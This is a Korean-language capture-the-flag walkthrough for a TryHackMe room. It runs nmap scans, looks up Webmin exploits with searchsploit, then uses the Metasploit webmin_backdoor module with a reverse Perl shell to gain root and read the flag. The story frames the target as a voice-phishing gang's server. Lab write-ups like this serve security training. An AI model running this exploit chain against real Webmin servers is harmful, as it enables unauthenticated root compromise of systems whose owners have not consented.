https://tryhackme.com/r/room/grootsecurity
Task5 - RemoteWebAdm
스토리
보이스피싱 일당의 웹 관리 서버를 한번 해킹 해보자
1. 첫 번째로 ping을 보내서 테스트를 해본다 ping 테스트가 성공적이라면 네트워크적인 소통은 할 수 있겠다라고 생각할 수 있다
2. 정보수집
어떤 포트가 열려 있는지 확인하기 위해서 nmap을 사용하여 스캐닝 한다
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap 10.10.236.229
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:26 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
10000/tcp open snet-sensor-mgmt
Nmap done: 1 IP address (1 host up) scanned in 3.76 seconds
22/tcp -> ssh
10000/tcp -> snet-sensor-mgmt
두개의 포트가 열려있는 것을 확인 할 수 있다 하지만 정확한 정보를 얻기는 힘들기 때문에 좀더 자세히 확인
3. 디테일한 정보 수집
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# nmap -p 22,10000 -sV 10.10.236.229 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 07:41 EDT
Nmap scan report for 10.10.236.229
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.46 seconds
-p ->옵션을 사용하여 스캐닝할 포트번호 를 적는다
-sV -> 네트워크 서비스 배너그래빙이라는 플래그가 있는데 이 플래그는 정확한 네트워크 서비스 정보나 이름을 알려주는 플래그
-oA tcpDetailed -> nmap의 출력값을 모든 형태로 tcpDetailed라는 파일이름으로 출력해줘 라는 의미
이전에는 SERVICE에서 ssh와 snet-sensor-mgmt 이러한 서비스만 하는 것으로 나와있는데 옵션을 추가하여 보면 VERSION 항이 뜨고 10000에서 사용하는 서버는 웹서버 인것을 확인할 수 있다
웹서비스를 운영하고 있으니 웹으로 한번 접속 해본다 여기서 SQL Injection,Brute forcing를 진행 할 순 있지만 일단 기존에 있던데로 진행을 한다
4. searchspoit
searchsploit은 nmap을 통해서 특정한 네트워크 웹 서비스들의 이름을 알았으니 이것을 통해서 공개된 exploit이 있는 찾아주는 툴
인터넷에 exploit-db 라는 웹 페이지와 연동이 되어있다.
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit miniserv 1.890
Exploits: No Results
Shellcodes: No Results
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin httpd
Exploits: No Results
Shellcodes: No Results
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit miniserv
Exploits: No Results
Shellcodes: No Results
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin
-------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------- ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Incl | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File | php/webapps/2451.txt
Webmin - Brute Force / Command Execution | multiple/remote/705.pl
webmin 0.91 - Directory Traversal | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Ses | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation | linux/remote/21765.pl
Webmin 0.x - Code Input Validation | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Executio | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI) | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Comm | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Me | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Com | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Byp | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site R | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authe | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE) | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrar | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrar | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Exec | linux/webapps/47330.rb
-------------------------------------------- ---------------------------------
Shellcodes: No Results
정보를 통해서 취약점 검색을 해보던중 웹사이트 접속했을때 떳던 webmin에서 단서를 얻어 searchsploit을 하니 많은 취약점 들과 그것을 공격할 수 있는 exploit 코드들이 나와있다 그래서 version을 생각하고 다시 검색해보니 딱 1가지 결과가 나왔다
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# searchsploit webmin 1.890
-------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------- ---------------------------------
Webmin < 1.920 - 'rpc.cgi' Remote Code Exec | linux/webapps/47330.rb
-------------------------------------------- ---------------------------------
Shellcodes: No Results
하지만 이것은 로그인을 해야할 수도 있어서 우리가 찾고 있는 것은 Unauthenticated Remote Code 이다 그래서 1.890에서 가장 가까운 버전중에 우리가 사용해야할 Webmin 1.920 - Unauthenticated Remote Code | linux/remote/47230.rb 이것을 한번 쓸 것이다 이것이 유용한 이유는 Remote Code Execution과 Unauthenticated Remote 이기 때문에 로그인을 하지 않고 원격으로 코드를 실행 할 수 있다
여기서 하나 더 하자면 -w 옵션을 주면 URL이 웹 페이지로 바뀐다.-> 웹 사이트로 들어간 이후에 코드를 확인할 수 있음
사이트에 나와있는 코드인데 설명에 보면 1.890 부터 1.920 까지 사용이 가능하다고 나온다 그러니 이제 본격적으로 exploit 하기전에 이것은 metasploit 모듈이기 때문에 metasploit을 사용해야한다
4. metasploit
┌──(root㉿kali)-[~/raccoon/RemoteWebAdm]
└─# msfconsole
Metasploit tip: View all productivity tips with the tips command
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search webmin 1.920
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_backdoor
search를 통해서 사용할 수 있는 모듈이 나온다
msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_backdoor) > options
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:p
ort[,type:host:port][...]
RHOSTS yes The target host(s), see https://doc
s.metasploit.com/docs/using-metaspl
oit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing conn
ections
SSLCert no Path to a custom SSL certificate (d
efault is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (de
fault is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface t
o listen on. This must be an address
on the local machine or 0.0.0.0 to li
sten on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be
specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
View the full module info with the info, or info -d command.
여기서 가장 중요한 것은 RHOST(Remote Host) 공격하고자하는 대상이고 리버스쉘을 보낼 것이기 때문에 공격자의 IP를 적는 LHOST 도 중요하다
msf6 exploit(linux/http/webmin_backdoor) > set rhost 10.10.236.229
rhost => 10.10.236.229
msf6 exploit(linux/http/webmin_backdoor) > set lhost 10.8.59.204
lhost => 10.8.59.204
msf6 exploit(linux/http/webmin_backdoor) > exploit
[*] Started reverse TCP handler on 10.8.59.204:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.59.204:4444 -> 10.10.236.229:43168) at 2024-03-21 08:20:28 -0400
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
pwd
/opt/webmin
find / -name "flag.txt"
/root/flag.txt
cd /root; cat ./flag.txt
GROOT{TH15_IS_0NLY_TH3_BEGINNING}
이렇게 리버스쉘을 획득하고 flag 까지 획득 할 수 있다